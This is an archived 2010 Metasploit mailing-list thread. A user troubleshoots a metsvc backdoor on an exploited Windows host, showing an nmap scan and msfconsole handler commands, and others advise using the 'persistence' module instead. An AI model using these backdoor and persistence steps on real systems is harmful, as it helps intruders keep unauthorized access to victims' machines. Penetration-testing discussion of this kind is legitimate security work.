Re: Having a problem with metsvc

[John Nash <rootsecurityfreak () gmail com>]

Found this detailed video on Persistence and Metsvc a while back

http://securitytube.net/Metasploit-Megaprimer-Part-12-%28Post-Exploitation-Backdoors-and-Rootkits%29-video.aspx

maybe this might help ...

On Sun, Sep 19, 2010 at 5:36 AM, Matt Gardenghi <mtgarden () gmail com> wrote:

> Don't use metsvc.  It has a memory leak in places and to quote HD, it's
> "wonky."
>
> Use persistence instead. Try that and see if you still have issues.
>
>
>
> On Sat, Sep 18, 2010 at 8:09 AM, Rob Fuller <mubix () room362 com> wrote:
>
> > Pop open Wireshark and see what's happening, also try connecting to it
> > with netcat with verbose and see what it says.
> >
> > --
> > Rob Fuller | Mubix
> > Certified Checkbox Unchecker
> > Room362.com | Hak5.org
> >
> >
> >
> > On Sat, Sep 18, 2010 at 6:36 AM, Andrew Stubbs <andrew.stubbs () stusoft com
> > > wrote:
> >
> > >  Having a problem with metsvc - what am i doing wrong ?
> > >
> > > Exploited box
> > > Did run metsvc
> > > Service is running :
> > >
> > >  nmap aa.bb.cc.dd
> > >
> > > Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-09-18 12:19 BST
> > > Nmap scan report for aa.bb.cc.dd
> > > Host is up (0.067s latency).
> > > Not shown: 994 closed ports
> > > PORT      STATE SERVICE
> > > 31337/tcp open  Elite
> > >
> > > Then did  for attacker:
> > >
> > >       =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
> > > + -- --=[ 567 exploits - 214 auxiliary
> > > + -- --=[ 211 payloads - 27 encoders - 8 nops
> > >
> > > msf > use multi/handler
> > > msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
> > > PAYLOAD => windows/metsvc_bind_tcp
> > > msf exploit(handler) > set RHOST aa.bb.cc.dd
> > > RHOST => aa.bb.cc.dd
> > > msf exploit(handler) > exploit
> > >
> > > [*] Starting the payload handler...
> > > [*] Started bind handler
> > >
> > > But it just hangs at that point
> > >
> > > No firewall in the way etc.
> > >
> > > Ideas ?
> > >
> > > Andrew
> > > _______________________________________________
> > > https://mail.metasploit.com/mailman/listinfo/framework
> >
> >
> > _______________________________________________
> > https://mail.metasploit.com/mailman/listinfo/framework
>
>
> --
> Matt Gardenghi
>
> _______________________________________________
> https://mail.metasploit.com/mailman/listinfo/framework
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework